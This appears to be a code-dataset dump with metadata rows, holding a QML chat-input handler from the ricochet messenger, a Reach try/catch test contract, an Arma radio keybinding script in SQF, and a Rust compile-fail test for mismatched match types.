edit = objects[i]
break
}
}
edit.Keys.pressed.connect(keyHandler)
}
function keyHandler(event) {
switch (event.key) {
case Qt.Key_Enter:
case Qt.Key_Return:
if (event.modifiers & Qt.ShiftModifier || event.modifiers & Qt.AltModifier) {
textInput.insert(textInput.cursorPosition, "\n")
} else {
send()
}
event.accepted = true
break
default:
event.accepted = false
}
}
function send() {
if (textInput.length > 2000)
textInput.remove(2000, textInput.length)
conversationModel.sendMessage(textInput.text)
textInput.remove(0, textInput.length)
}
onLengthChanged: {
if (textInput.length > 2000)
textInput.remove(2000, textInput.length)
}
}
}
}
}
| QML | 5 | garrettr/ricochet | src/ui/qml/ChatPage.qml | [
"OpenSSL"
] |
'reach 0.1';
export const main =
Reach.App(
{},
[
Participant('A', {
i: UInt,
show: Fun([UInt], Null)
})
],
(A) => {
A.only(() => {
const i = declassify(interact.i);
})
A.publish(i).pay(100);
// Eval `try` in `consensus step`
try {
// Change state within try block
commit();
// Catch block should recognize it's executing in `step` mode
throw 10;
} catch (e) {
A.publish();
transfer(e).to(A);
commit();
}
// ^^^ Both `try` block and `catch` block completed in `step` mode
A.publish();
try {
// Either case we should distribute the remaining balance
// `try` block is in `consensus step`
if (i < 5) {
transfer(90).to(A);
commit();
} else {
// `catch` block should execute in `consensus step` not `step`
throw 90;
}
} catch (e) {
transfer(e).to(A);
commit();
}
each([A], () => {
interact.show(5);
});
});
| RenderScript | 4 | chikeabuah/reach-lang | hs/t/y/exception.rsh | [
"Apache-2.0"
] |
#include "script_component.hpp"
/*
Name: TFAR_fnc_onAdditionalSwTangentReleased
Author: NKey
Fired when the additional keybinding for SR is relesed.
Arguments:
None
Return Value:
Whether or not the event was handled <BOOL>
Example:
call TFAR_fnc_onAdditionalSwTangentReleased;
Public: No
*/
if ((!TF_tangent_sw_pressed) or {!alive TFAR_currentUnit}) exitWith {false};
private _radio = call TFAR_fnc_activeSwRadio;
private _additionalChannel = _radio call TFAR_fnc_getAdditionalSwChannel;
if (_additionalChannel < 0) exitWith {false}; //No Additional Channel set
private _currentFrequency = [_radio, _additionalChannel + 1] call TFAR_fnc_getChannelFrequency;
[_radio, _additionalChannel, _currentFrequency, true] call TFAR_fnc_doSRTransmitEnd;
TF_tangent_sw_pressed = false;
false
| SQF | 3 | MrDj200/task-force-arma-3-radio | addons/core/functions/events/keys/fnc_onAdditionalSwTangentReleased.sqf | [
"RSA-MD"
] |
struct S { a: isize }
enum E { C(isize) }
fn main() {
match (S { a: 1 }) {
E::C(_) => (),
//~^ ERROR mismatched types
//~| expected struct `S`, found enum `E`
_ => ()
}
}
| Rust | 3 | Eric-Arellano/rust | src/test/ui/match/match-struct.rs | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.